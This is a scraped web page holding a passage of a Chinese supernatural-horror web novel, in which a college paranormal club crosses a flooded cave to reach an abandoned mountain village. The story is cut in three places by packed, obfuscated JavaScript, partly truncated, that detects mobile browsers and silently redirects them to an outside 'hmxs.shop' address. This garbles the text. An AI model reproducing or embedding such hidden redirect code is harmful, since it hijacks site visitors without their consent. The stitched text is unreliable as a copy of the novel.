$(''#content'').append('' 住地涌上来,人难以战胜生理反应,握拳咳嗽两声。 裴桐感受掌心空掉的瞬间,愣住一秒,听见她的咳嗽声后又迅速反应过来。 面对她站直身体,从背包里翻出昨天那个保温杯,“喝药。” 第五页露出惊喜的表情,“哇,我都隐藏这么好了你还能发现,承认吧你一直关注我对不对?”仰头学着偶像剧里的女主捏细了嗓子。 可惜裴桐上过一次当后就不会上第二次。 见面前人不为所动,第五页飞快改变战术,假装没看到保温杯,亲昵地垫脚上前捏了捏他嘴角,“你现在的表情好吓人啊,来笑一个嘛。” 对方还是那副冷冰冰的表情,递在她面前的手没有放下来过。 几番不成功后,第五页放弃了,表情耷拉下来,退后两步捏过保温杯拧开。 裴桐贴心给她拿了吸管插上。 安静下来后,这方只剩下她的吞咽声。 湿润的黏腻的划过喉咙,流进她的身体。 喝完药,漱过口。 第五页再没抬头,仿佛挫败似的转身往营地方向走。 “我回去睡觉了。” 所以她没看见裴桐从口袋里掏了颗糖准备给她,见她转身后也只是将糖捏回掌心。 - “叶子,叶子……” 耳边传来人压低的呼唤声,睡得正沉的第五页拧了下眉心,刚睁开眼便瞧见华悠悠蹲在她睡袋边,面露难色。 “怎么了?”还没完全赶跑睡意,她回答的声音像是泡在水里含含糊糊呢喃般。 华悠悠咬了咬唇,“……你可以陪我去上个厕所吗?” 她揉了把脸让自己强行醒来,支手起身,“行啊,走吧。” 华悠悠先一步出去。 手电筒不在她们这里,第五页下意识摸睡袋里的手机,没摸到才想起来昨晚手机没电被她丢进背包充电去了,只能作罢。 又低头看了眼手腕上的电子表。 3:48 等她穿好衣服跟着出去,才发现外面亮的根本不需要手电筒。 火堆早在他们睡觉的时候就熄了,此刻唯一光亮来自天上的明月,将他们的营地和河床照的宛如白昼。 “咕咕。” 林子里发出两声不知名的鸟叫。 男生的两顶帐篷其中一顶传来仿佛从胸腔滚出闷雷的鼾声,节奏忽高忽低。 是裴桐他们那顶。 见她盯着男生帐篷那边,华悠悠凑过来,“应该是聪哥的,白天我听他说话有点鼻音。” “嗯。”第五页收回视线,对她点了点头,“走吧,我陪你去找个地方上厕所。” 华悠悠报以感谢微笑。 营地附近太空旷,她们在百米之外的大石头后寻到一个好位置。 华悠悠解决生理需求,她就站在旁边守着,夜晚的森林没有风,感受不到丁点寒冷。 她看看营地又抬头看看天。 月亮真的好亮,圆圆一个挂在天上,把周围的云层都照出了轮廓。 没过多久,耳边水声消失,华悠悠站了起来,“我好了。” “那我们回去吧。” “嗯。” 一个走前面一个走后面。 朝着营地的方向。 不知走了多久。 第五页猛地回过神,才发现身后华悠悠正在小声叫着她,“叶子……叶子……” 她抬头看去,营地离她们还有段距离,身后人一边叫她一边小幅度地扯着她的衣角。 “怎么了?”她回过身。 华悠悠眼神不受控制地朝林子的方向看去,又快速收回,嘴巴一张一合,仿佛做梦般呓语。 “林子里好像有东西。” 5. 第四章:水路 第五页身体绷紧一秒,下意识以为是有野兽,飞速朝华悠悠说的林子看去。 事实却跟她想象的完全不一样。 不是四条腿的,而是两条腿的。 细长的四肢像是树枝,身体高至两米,站在密林明暗交界处,看不清身体细节,如果不是它们一个又一个有序地朝着一个方向移动,她会以为那些只是矮树。 不管那是什么东西,都不是她们先一步暴露的理由。 她拉着华悠悠快速跑至附近的一块碎石后躲着,压低身体,目不转睛地盯着那方。 一个,两个,三个…… 身边人快速吞咽口水,第五页感觉自己的心脏也被狠狠提起。 直到身侧微不可闻的咔嚓声响起,她才发现华悠悠居然是带了相机出来的。 “你还带了相机?”第五页压低声音,眼神带了些许惊讶。 华悠悠收回相机,有些不好意思,“习惯了。” 好在那群黑色人影已经走远,她们又等了会儿才起身。 站起来才发现膝盖因为蹲得太久又麻又酸。 第五页揉了揉。 “我们要跟上去吗?”像是犹豫很久,华悠悠小声询问道。 第五页转头看了她眼,深更半夜遇见如此诡异的事,如果是普通人肯定吓得屁滚尿流了,但他们是灵异社团的。 可以说他们来这山里就是为了寻找这些诡异的东西,社团里的人也都相信世界上存在他们无法理解的事。 此刻华悠悠抬眸看她,询问意见,虽然眼底有害怕,但更多的是对亲眼见到诡异影子的兴奋。 “还是不了。” 虽说他们来山里的目的是为了见证这些,但一切的事情都应该保证在他们自身安全的情况下。 她们两个是临时出来,贸然跟上去出什么事队伍里其他人也不知道。 华悠悠便没再问,两人用最快的速度回到营地帐篷。 躺回睡袋前,她又看了眼时间。 4:00 经过这一遭,第五页彻底清醒了。 身体虽然已经回到安全的地方,但脑袋却还在不停回忆刚才的场景。 翻来覆去睡不着,某一刻她忽的惊觉,营地里似乎有点太安静了 齐聪的打鼾声怎么没了? 没想出答案,也不好现在出去看一眼,她酝酿出睡意。 等再次醒来时已经是第二天中午。 帐篷里。 华悠悠叼着根巧克力棒在翻背包,察觉她这边动静后转头,浅笑道,“你醒啦?” “嗯。”第五页支手起身,看眼时间,已经是中午十二点多了。 又睡这么久,而且不知道是不是昨晚起夜的缘故,她身体像是散架般酸痛。 “出发了吗?怎么没叫醒我?”按理来说今天七点就应该出发,但她睡到中午了居然没人来叫她。 华悠悠表情瞬间严肃,“聪哥不见了,找不到人。” “有人消失了?”第五页显然还没从困意中脱离出来,脑袋懵懵地重复她的话。 华悠悠颔首,“嗯,宋英杰他们今早起床后发现聪哥不见了,去附近林子里找,没找到。我们不知道进村的路,现在正在商量要不原路返回去报警。” 第五页拍两下脸,穿好衣服出去。 外面只有裴桐一人,用几块石头搭了个简易版石炉在煮东西。 抬头见她出来,“我煮了早餐粥,要喝吗?” “等会儿吧。”第五页问:“宋英杰他们呢?” “刚换班,他们又去林子里找了。”裴桐刚听见华悠悠在里面给她解释过了,所以面无表情地边回复,边从随身背包里翻出一次性洗漱用具。 “他们去多久?” “没多久,大概十几分钟。”他走到她面前,将洗漱用具递给她,“先洗漱吧,喝完粥等他们回来再商量。” 没办法,第五页只能先洗漱,洗漱过后和华悠悠一起蹲在石炉前喝早餐粥。 又过上大概半个小时,宋英杰和曹永朝回来了。 她看了眼他们空无一人的身后,“没找到吗?” 宋英杰摇头,“我们隔着山头看了昨天下车的位置,车还在。他没自己开车回去。” 曹永朝烦躁地抓了把头发,丢掉登山的棍子,随便找了块干净石头一屁股坐下,“真是遇了鬼了,就算要携定金跑路,他是准备拿两条腿跑回去吗?” 那句“遇了鬼了”让第五页和华悠悠心有灵犀对视一眼。 最后由前者将昨晚看到的东西原原本本跟他们讲述了遍,她顺便说了回营地后没听到打鼾声这件事,猜测齐聪可能是那个时候离开的。 讲述完,好长一段时间队伍里没人说话,他们不约而同地想到了昨晚火堆前曹永朝讲的那个鬼故事。 所以说他现在还没出现是出事了吗? 他们不愿这么想,现实却像是要告诉他们就是这样。 最后宋英杰作为社长站出来,“别多想了,既然找不到人,我们快点收拾回县城报警吧,也好争取一点救援时间。” 这是目前唯一的办法。 “嗯。”其余人相继点头。 他们迅速收拾起行李和帐篷。 谁知,东西刚收拾好,他们准备原路返回时。 齐聪回来了。 带着满身泥泞,下半身好似在泥地里打过滚,头发比昨天见到的还乱,眼球布满血丝,发白的嘴唇下一秒就要倒下。 但狼狈本人却丝毫意识不到,阴沉着脸扫视一圈他们,沙哑声音道,“都收拾好了啊,那上路吧。” 说完不顾他们怀疑的眼神走到最近的裴桐身边,一把提过自己那份行李。 转身开始带路。 - 天阴沉沉,他们的心情也阴沉沉。 第五页以为昨天的气氛已经够让人不适了,没想到今天更甚,压抑氛围仿佛掐着他们脖子让人说不出话来。 队伍里没人跳出来活跃气氛。 齐聪沉默走在最前方,有时候她甚至怀疑他是不是忘了身后还跟了一群他带进来的人。 宋英杰特意慢下脚步,来到第五页和华悠悠身边,对后者低声说:“你不是说昨晚你们拍了照片?能给我看看照片吗?” 华悠悠后知后觉反应过来,连连点头,“噢噢,可以。” 可是等打开相机一看,昨晚的照片根本没有她们所说的什么成群结队的黑影,照片里只有被月光照亮的密林。 “哎,等等怎么会没有?不对啊,我明明拍到了。”发现没有后,她焦急捞过相机检查,前面和后面的照片都没问题,只有这一张跟她当时看到的不一样,像只是一场梦。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067397|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可是我们昨晚上真的看到了。”像是害怕他不相信,华悠悠有点激动地说。 一旁的第五页举了手,“我可以作证。” 宋英杰拧了下眉毛,没再说什么,回到队伍前方。 接下来的路程再没有人开口说话,翻山的路不好走,他们一个跟着一个,踩着前一个人踩出的脚印前进,没人喊累,也没有人提出短暂休息。 有序的队伍让第五页不由自主地想起昨晚密林里看到的黑影,她盯着脚下泥泞脚印出神,蓦然头顶刮过一阵风,不多时后脑勺接住一个东西。 她抬头同时去抓,抓下一片巴掌大的树叶。 圆形叶片偏黄,中间有虫子啃食过的痕迹。 第五页不知道这是什么树叶,也不知道这树为什么会在三伏天落叶。 抬头望了眼前方五人,和她一样,几十片叶子从他们头顶飘过,翩翩落下。 他们这样子……好像出殡啊。 - 傍晚六点,山里下起小雨。 他们从背包里拿出雨衣穿上。 本以为今天走不到村子,又要在树林里过夜了。 齐聪带他们来到一处临山水潭,水潭很大很深,一眼看去有个几百米宽,依山而积,呈怀抱式。 水面黑黝黝的,瞧不见底,让人忍不住浮想联翩。 他们站在水潭一边,防水靴碾碎岸边某种不知名的贝壳。 曹永朝左看右看,“没路了,接下来怎么走?” 转身去找带他们进来的人,没找见。 不知在什么时候又消失不见。 正在他们焦急四处寻找之际,左边远处传来呼声。 “这边。” 声音不大,但在山体间回荡后正好传到他们耳边。 第五页他们过去,只瞧见齐聪不知从哪拖出两条小船,很像独木舟,但要比独木舟更宽一些,一条能坐四个人,船头放了个渔篓。 “接下来我们要走水路?”她问:“往哪儿走?” 齐聪抬头看她,沉默指向水潭另一边的山。 众人看去,努力分辨了三分钟,才从山体侧边一棵矮树旁看见一处溶洞入口。 再转头时,齐聪已经用手腕粗的麻绳将两条小船牢牢绑在一起,拖去了水边。 “过来,上船。” 他们互相看了眼,犹豫三秒钟才过去。 已经走到这里了,往回看看不到来时的山头,前面是人是鬼都得硬着头皮上。 过去帮忙推船下水,小船在水面上晃晃悠悠。 第五页心想,也是这块没什么风,不然一个浪头打来船上的人全部都得完。 他们有六个人,两条船,分成两队。 宋英杰,曹永朝和齐聪坐前面那条,开路。 裴桐和第五页,华悠悠坐第二条,注意后面。 下水后,他们乘着两条小船晃晃悠悠地朝齐聪之前指的溶洞靠近,越靠近越发觉这块地方是多么空旷,四面寂静,没有鸟叫声,能听到的只有他们划水的声音。 往下看,水面黑沉沉,仿佛探不到底,细细的雨丝落在水面上甚至看不见什么波纹。 到达溶洞附近,他们才发现入口比想象的要小,坐在船上,要低伏着身子才能进去。 最后一丝光亮被收走,眼前只剩下无边的黑暗。 6. 第五章:溶洞 一束小光从前面小船射了出去,打在最近的岩壁上。 进洞后没划多久,空间逐渐变大,他们得以直起身体。 船桨拨开水面,手电光扫过的地方泛着诡异磷光,岩壁上水珠滴滴答答传出去很远,空气中弥漫着一股腐烂的味道,但不是任何人或动物的腐烂味,更像是植物被水泡发后的霉变味。 两侧石壁上不知是被水还是风腐蚀,幻化出一幅幅诡异图案,有的像蜷缩的婴儿,有的像扭曲的人脸。 常年待在城市里的孩子看见大自然的鬼斧神工,连呼吸都不敢太放肆,只能贪婪又惊诧地沉浸在这份感受里。 耳边传来一声清脆的“咔嚓”,紧接着是一道白光。 几乎是华悠悠按下快门瞬间,头顶传来动物扑腾翅膀的声音,一阵急促风声飞速掠过他们头顶。 他们反应迅速地弯下腰,才没跟那些东西撞上。 前方齐聪的手电筒光晃过来,沉声道,“洞里有蝙蝠,拍照不要开闪光灯,掉下去别喊我。” 差点酿成大错的华悠悠脸红了又红,收起相机,连连道歉,“对不起对不起,我不是故意的。” 见她收了相机,齐聪没再说话。 两条小船就这样一前一后地往溶洞深处驶去,不知过了多久,又转过多少个岔路,他们冷不丁划到了头。 船体撞上岩石墙壁。 第五页一个激灵,问道,“怎么了,到了吗?” 前方船传来宋英杰的声音,“没路了。” 第五页皱眉,没路了是个什么意思。 “我们走错了?”她继续问:“聪哥?” “没走错。”齐聪一人站在最前面的船头,怕翻船,宋英杰和曹永朝在船的另一头压着。 手电筒的光不停在四周岩壁上扫来扫去,船头人上半身扒在墙壁上,上下摸索,像是在寻找什么。 洞里很安静,再加上小船撞上岩壁后,两条船靠得很近,齐聪窸窸窣窣的低声说话声很容易传到她的耳中。 “不对,不对啊,怎么会,怎么会没路呢。明明就在这里,怎么就找不到了,去哪儿了到底去哪儿了。” 第五页感觉齐聪现在精神很不对,他们现在可是一条绳上的蚂蚱,他要是出点什么事,他们一个都跑不了。 她又唤了声,“聪哥?” 可惜对方现已完全沉浸在自己的世界里,听不到她说的话。 两条小船因为齐聪的激烈动作,开始小幅度晃动,害怕随时翻船,宋英杰和曹永朝一个箭步冲上去将他扯下来,才让船没有翻。 然而即使是拽下来了,人也没立刻安定下来,而是坐在小船中央,一会抱头一会啃手,像个躁郁症患者嘴里不停念叨着刚才的话。 “现在怎么办?”曹永朝问。 害怕齐聪随时跳船,他和宋英杰一左一右地护着。 “没路了,我们回去吗?”华悠悠弱弱提出思路。 只是都走到这里了,眼看临门一脚,再回去他们都有些不甘心。 宋英杰问:“你们有谁记得路吗?” 进来前他们经过多个岔路口,眼前齐聪看起来精神状态不是很好,带路指望不上了,如果出去的话还得他们自己认路。 “我记的几个岔口。”裴桐冷冷开口,“出去应该没问题。” “那我们就先在附近找找,看看有没有路。”说着宋英杰看眼手上的防水表时间,“二十分钟后如果没找到,我们就原路返回。” “行。”“没问题。” 华悠悠跟着点了点头。 只不过说是在附近找路,他们能动的地方其实只有两条船,有没有入口一眼就能看到。 手电光晃来晃去,略显急躁起来。 第五页四处看了看,最后坐在船边捞了一捧水,再倒掉。 “你们说入口会不会在水下?” 见其他人看过来,露出疑惑的眼神,她解释道,“假设我们没走错,这里以前确实有道入口。那有没有可能,是这些天一直下雨,溶洞地下河上涨超过入口的位置,我们才没看见?” 她说的不无道理,甚至可以说是目前最大的可能。 宋英杰颔首,“有可能。” 一说入口在水下,曹永朝站不住了,趴在船边,不由分说地将脑袋扎进水里,十几秒后再抬起来,激起一片水花。 他甩了甩脑袋,“噗,水下太黑了,看不清。” 华悠悠抓起背包抖了抖,很快翻出几个潜水手电,是当初齐聪让他们准备进山东西时买的。 “这里有水下用的手电筒。”丢过去两个。 曹永朝拿了其中一个,对着水下推开开关,瞬间一束强光射了出去,只是潜水手电能照到的地方也有限,远一点的地方就看不见了。 找来找去看不见,他有些急躁,雨衣一脱,“我下去看看吧。”刚准备跳下去,被拦住。 宋英杰必须保住每个社团成员的安全,“一个人下去不安全。” “我也去看看吧。”另一条船上的裴桐边说着,边起身脱下雨衣,拿了一个潜水手电用弹力神绳绑在自己的手腕上。 太多人也不好,两个人刚刚好。 只是在入水前,宋英杰瞥了眼裴桐身上的衣服,后者还穿着长袖长裤,提醒道,“水下再上来,湿衣服大面积贴在身上会快速失温,你要不要换件短袖?” 裴桐低头看了眼,冷声道,“没事,就这样吧。” 既然对方无所谓,他也没再坚持,说了句注意安全。 两人相继跳进地下河中。 在潜下去的前一秒,曹永朝后知后觉地拍了下水面,“我刚想到件事,如果入口真在下面,那我们过去都要游过去,你们会游泳吗?” 宋英杰颔首,华悠悠将相机装进防水袋里,坚定地点了点头。 第五页也表示,“没问题。” “那就行。”话音落,两人转眼扎进水里。 一时间,船上只剩下第五页,宋英杰和华悠悠,以及齐聪四人。 毕竟入口在水下只是个猜测,他们不能把全部的希望压在裴桐他们身上。 宋英杰说:“我们在附近也好好找找吧。” 第五页点了点头。 一人一个手电,在周围岩壁上扫来扫去。 齐聪的精神还没完全稳定下来,宋英杰需要一边找入口一边照顾他,防止他随时大幅度动作而导致翻船。 华悠悠则翻出自己全部的电子产品,用防水袋装好,如果等会要下水,这些可全部是她的家当。 整理好后再加入找路队伍。 而第五页则在几分钟前就盯上了岩壁角落的几幅壁画,跟外面风和水腐蚀形成的不一样,这里的图案更像是人工制造。 常年浸泡在地下河水里,壁画早就没有了颜色,只留有人工雕刻下的痕迹。 壁画画的是人的一生,从出生到死亡,一共五幅。第一幅小孩呱呱落地被一群人围在身边举过头顶,看不清那些小人的表情,但她能感受到他们应该是高兴的。 第二幅小孩长成大人模样,似乎是刚打猎回来,站在类似家图案的门口,手里提了半条动物的腿。 第三幅出现一个新小人,两个小人抱在一起拥吻,仿佛在说他们结婚了。 第四幅小人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067398|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生小人。 第五幅是两幅小画合在一起,最开始的小人弯了腰站在一个小土包前,后面没过多久变成了两个小土包。 察觉她长时间盯着一块地方不动弹,华悠悠慢慢凑过来,轻声问道,“你在看什么?” 第五页还没来得及说话,对方便先发现了那几幅画,眼睛微张,语气带了点惊喜,但又由于性格使然很快压制下去,“这里还有壁画?” 她轻轻嗯了声。 华悠悠有点手痒,下意识摸包,没摸到才想起来刚才为了等会儿不让相机进水,她特意放进防水袋了。 没办法只能舔舔嘴唇,作罢。 不能拍照保存,那只能用眼睛看,华悠悠站在第五页旁边,默默一幅幅看下去。 看到最后不知是风还是其他什么东西,地下河被惊动,一个小小浪头朝着壁画打去,水面伏下去后又迅速起来。 在伏下去的瞬间,岩壁下方似乎出现了其他线条。 她有些不确定地说:“这五幅画下面好像还有画啊。” 刚才起浪的瞬间,第五页也看见了,确实出现其他线条,下面的画会是入口的线索吗? 犹豫三秒,她脱掉身上的雨衣,递给一旁华悠悠,“帮我拿下。” 刚说完,也扑通一声跳进河里。 第五页水性不错,小时候和裴桐被家里安排去上过游泳课,水下憋气能憋个五分钟左右。 水花四溅,只听到身后华悠悠大喊让她注意安全,宋英杰听见这方动静后,手电光迅速晃过来问她在干什么。 而这些她通通没有回应,眼里只有岩壁上那五幅画,拨水快速游去。 游到近处,掌心触碰到岩壁水面上的画,她一手扶住墙壁一手抚上画,指尖顺着画的纹路一路向下。 画上纹路给她的触感到了水下也没消失。 可以确定了,水下确实还有一副画,而且比上面五幅加起来还要大的多的多。 想着,第五页将手电筒叼在嘴里,回头给华悠悠他们比了个下水的手势。 然后猛地扎进水里,耳边的声音瞬间消失。 潜水手电照不到河底,但看清眼前这片岩壁是足够了。 水下,第五页熟悉了河水的温度,慢慢睁开眼,眼睛在短暂的刺痛过后,渐渐能够视物。 冷白光线穿过河中气泡和水草照在她身前一米的岩壁上,视线所到之处是一个巨大的朝下的“>”,顶端带点弧度。 看着像山,又像路上他们见过的坟包,没墓碑。 她操控手电筒顺着岩壁向下照去,一座“山”;向右照去,一座“山”;向左照去,还是一座“山”。 思考两秒后,第五页踢了墙壁一脚,借力离岩壁远些,停在手电光刚好能照到整个岩壁的程度。 登时岩壁上的画像是往清水里滴了一滴墨水,一副由无数座“山”组成的壁画在她眼前徐徐展开。 她盯着壁画出神,皮肤仿佛在水下炸开,寒意与痒意从脊背蔓延至全身。 愣了很久,冷不丁瞧见壁画无数座“山”的中间有一行小字,叼着手电筒游过去,掌心再次触碰到滑溜溜的岩壁,突起的部分钩挂着不知从哪飘来的几缕黑发。 她下意识用手拨去。 岩壁上的字歪歪扭扭,不像是现代的简体字,但某个字又和现代的字形很相似,勉强能够认出。 一句短小的话,第五页心底顺了两遍,拼凑出句没头没尾的话。 “活着的人会从坟里爬出来。” 没等她搞明白这是一句警告,还是一句预言。 忽的,水下一只冰凉的手抓上她脚腕。 7. 第六章:进村 湿冷滑腻的触感从脚腕处传来。 第五页一个激灵,顿时清醒过来,强烈不安密密麻麻爬上后背。 此时也顾不得什么画了,求生欲使她迅速拨水往上划去。 脑袋刚冒出水面,便拼尽全力大喊:“救命!” 宋英杰和华悠悠一直注意着这边,在发现她的状况后恨不得立刻跳下水。 第五页脚还在水底不停搅动,企图挣脱那只手的控制。 某一刻,脚腕上的滑腻触感消失,她不敢耽搁,一个翻身往船的方向游去。 动作迅速地借华悠悠的拉扯跳上船。 上船没几秒,气还没喘几口,他们感受到水下有什么东西正在靠近,十有八九是刚才抓她的那东西。 第五页不加思索捞起一旁的船桨,还没看清那东西是什么,便在它冒头后用力劈了过去。 对方同样动作迅速地躲开,似乎是害怕她再来一下,飞快开口,“是我。” 定睛看去,才发现不是什么水鬼,而是找路回来的裴桐。 刚从水下回来,他整个人湿漉漉的,额头粘着不知名的水草,碎发黏在额头,被他往上一抹,抹去了头顶。 虽然是下意识的反应,但将自己男友认成水鬼这件事还是让第五页有些愧疚。 宋英杰和华悠悠就没她想得那么多了,见只有他一个人回来,华悠悠忙问:“曹永朝了?” 话刚落,离他们小船不远的另一处水面激起水花,冒出个人头,“我在这。” 曹永朝三两下划水游过来跳上船,吐掉嘴里的水,甩甩头发,“呼,还是有点冷啊。” 确认人没事后,那就只有入口的事了。 裴桐一直是副死人脸看不出来。 曹永朝就不一样了,什么事都喜欢写在脸上,从上岸开始,虽然喊着冷,但嘴角就没下去过,宋英杰心有所感地问:“你们找到路了?” “找到了。”曹永朝笑出八颗牙齿,边说着边收拾包裹,准备丢下水,“在这片水域的正下方,往下游五米的位置,有个很大的豁口,穿过豁口就到我们要找的村子了。” “这么近?!”宋英杰也没想到他们离目的地这么近,现在想来如果刚刚放弃,那他们就真的是只差临门一脚了。 走了这么远,又是爬山又是下水的,现在好不容易快到地方了,他们都有点兴奋。 就连齐聪也慢慢安静下来,但精神还是没有好多少,眼睛盯着一处出神。 华悠悠早已收拾好行李,“那我们快过去吧。” 其余人相继点头。 分为三部分,曹永朝下水后前面带路。不可能将齐聪一个人丢在这里,华悠悠和宋英杰在中间将他护着游过去。 第五页和裴桐落在最后,收拾好行李,二次下水的感觉又和之前不太一样。 主要想着刚才差点伤了对方的事,第五页犹豫着还是说了句抱歉,“刚才真不是故意的,我还以为是水鬼。在水下的时候第六感给我一种很不好的感觉,我才会……” 她没继续说下去,不过裴桐懂了,抬手接过她的一部分行李,“没事,你不用跟我说抱歉,因为你的第六感没错。” 虽然对方没什么表情,但第五页登时懂了他的意思,“水下真的有东西?” “具体情况不清楚。”裴桐继续说:“反正过去小心点吧。” 她的表情跟着严肃起来。 入水后,狭小的溶洞内最后一丝光亮消失,如果不是摇摇晃晃的小船,仿佛这里从来没有人来过。 幽暗的水底,几束刺眼的光亮惊扰了这里寂静,水草和浮游生物因着他们的动作好似有了生命般游动。 第五页屏气,拖着行李,回忆游泳课上学到的技巧朝光束方向奋力游去。 曹永朝说的没错,在水底离他们很近的地方确实有个豁口,而且比他们想象中要大得多,如果不是这里的地下河上涨,那会是个直通外面的山洞口。 确认方向后第五页继续向前游去。 裴桐手腕绑着手电游在她身边,前面虽有光束引路,但只能看见几道人影。 而且不知是不是下潜的太快,她的心越跳越快。 一束水草擦着她的耳廓划过,再睁眼时,前面的人已经离她很远了。 第五页顿时慌了神,想要追上去,却发现自己的脚怎么也动不了,低头看,脚腕不知道什么时候被水草缠住。 她只得停下,曲身抓脚上的水草。 水里不好使劲,扯上半天也没完全挣脱开,她有些急了。 再加上白天不停翻山,晚上又下水。 挣扎了会儿,第五页感觉自己的喉咙一股痒意正拼命涌上来。 这里是哪里?这可是水底啊!再想咳嗽也不该是这个地方吧! 察觉不对的她在水里捞起袖子,借着手电光果不其然看见蜘蛛网般的裂痕正慢慢爬上她的手臂。 第五页脑袋嗡的一声,摆摆头又迅速清醒过来。 不行!至少不能在这里! 想着,她压制住喉咙的痒意,同时动作迅速地从背包侧边抽出把小臂长的短刀,朝脚腕上的水草划去。 刀尖所到之处,水草寸断。 不过几秒她便完全挣脱出来。 前方一束光线慢慢退回来,原来是裴桐发现她游着游着不见了,担心她出什么事。 感受到嘴里的氧气快没了,第五页给他做了个快走的手势,继续奋力朝前游去。 这次没了水草的阻拦,她很快游到终点。 刚爬上岸,还没来得及看清周围的样子,便跪在地上大声咳嗽起来,“咳咳,呕……咳……”连吐两三口河水。 第五页一只手拖着行李包,另一只手还紧握着短刀按在地上。 等再抬起头才发现溶洞外面居然正在下雨,雨势之大说是有神仙在天上拿盆泼水也不为过。 他们没穿雨衣,耳边哗啦啦,雨水混着地下河的河水浸透他们每一个毛孔,虽说是在盛夏三伏之际,但这里的温度比溶洞里还要冷上十几度。 瞧见人都上了岸,华悠悠跑过来扶她,大喊道,“你没事吧?” 雨太大了,为了他们的话不被雨声和雷声掩盖,他们每个人必须吼着说话。 第五页借着她的力道起身,摇了摇头。 华悠悠余光一闪,瞧见她手里的短刀,大声道,“这是什么?” “刚才水下有水草,脚腕被缠住了,所以拿东西割了一下。”她解释。 “不是。”像是害怕她听不清,华悠悠忽然凑到她耳边大声喊道,“我是说你的短刀上怎么有头发啊。” 与此同时,天上响起一记闷雷。 不知是被闷雷吓到,还是她在她耳边喊话的声音太大,第五页脑袋嗡的一声,耳朵里是三秒左右的耳鸣。 她脑袋空空抬起抓着短刀的那只手,只见刀背上挂着四缕缠绕的黑色长发,下一瞬又被落下的雨水冲走。 没等她想出个所以然,远处一块大石头边的曹永朝将行李包举过头顶,回头朝他们大喊:“你们快过来看!” 他们的注意力瞬间被吸引过去,相互搀扶着走到他附近。 曹永朝放下行李,一只手拿着手电筒,半蹲下身,一只手将大石头前的野草全部拔个干净。 手电筒的光在石头上扫了遍。 只见上面用红色油漆歪歪斜斜写了三个大字:雨守村。 他们真的找到了,不知是不是来的太过突然,他们心头莫名其妙浮现出一股不真实感。 站在石前愣许久。 直到宋英杰抹了把脸上的水,大声喊道,“这里雨太大了!我们先进村找个地方躲躲雨吧!” 话音落,他们这才匆匆回过神来,慌慌忙忙的往村子里赶去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067399|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨水扰乱视线,手电进水后不太好用,闪动的光束勉强照清远处村子轮廓。 四面都是山,二十几座土房沿着山势向上建去。 村子里没有光,除了雨声听不到任何人声,好似一座空村。 最兴奋的曹永朝冲在前面,快步朝最近的一座小土房跑去。 宋英杰搀扶着齐聪随后。 裴桐拎着行李跟在她和华悠悠的身后。 他们一鼓作气跑至最近的土房屋檐下,所有人都被雨水浇透,成了落汤鸡。 擦脸的擦脸,给衣服拧水的拧水。 自来熟的曹永朝转去拍门,大呼,“有人吗?有人吗!” 没拍两下,木门便吱呀一声自己开了。 黑森森的堂屋,扑面而来的是一股阴湿霉味,像地窖里泡烂了的老鼠尸体。 曹永朝没忍住捂住鼻子后退两步,皱紧眉头,“什么味儿啊?” 等散了会儿味差不多,才举手电筒进去,转了圈很快出来。 “里面东西都落灰了,不像是有人住的样子。”曹永朝说。 淋了雨,风一吹,大家都有些冷。 华悠悠更是打个喷嚏,搓搓肩膀,弱弱举手说道,“其实……我刚才进村前就想说了,除了我们带来的手电光,这村子看不到丁点其它光亮……好像是个荒村啊……” 曹永朝眉心不自觉地收紧,“怎么会?难道村里人在我们来之前就都搬走了?” 不是没有这个可能。 空中厚实的云层里又是一记闷雷传来,他们打个颤。 宋英杰站在几人身后,“大家刚从水里爬出来,衣服都是湿的,外面还下着雨,还是先找今天晚上睡觉的地方吧。” “嗯嗯。”他说的也是其他人所想的,忙点头。 曹永朝用手电晃了下这家土房,“我刚去里面看了下,这家房子有点小,就一个卧室和一个堂屋,后厨好像在院子里。你们两个女生睡这里,我们男生再去上面看看。” 目前最大的问题是找睡的地方,所以第五页和华悠悠根本没多想便答应了下来。 华悠悠颔首,第五页比了个OK的手势,“没问题。” 分了行李,她们又拿了两支手电筒,看男生们顶着大雨往山上走去,不见身影后才转身踏进这间土房。 雨水味道冲散屋子里的霉味,落在后面的第五页关上门,将大半雨声隔绝在门外。 华悠悠拿手电的手在抖,连灯都开始晃晃悠悠,又打了个大喷嚏,哆哆嗦嗦说道,“叶子……那我先去卧室换衣服了……嘶,好冷……” 湿衣服长时间贴在身上确实难受,更不用说这个地方的温度比外面低上十几度。 第五页觉得自己还能忍一会,虽说她们两个都是女生,但面对面换衣服还是有些尴尬,她一会换也没问题,唇角勾出个浅浅弧度,“没事,你先去吧。” 华悠悠给了她一个感激的眼神,拖着行李进屋了。 而她留在原地,没忍住喉咙的痒意,握拳放在嘴边咳嗽两声,“咳咳。” 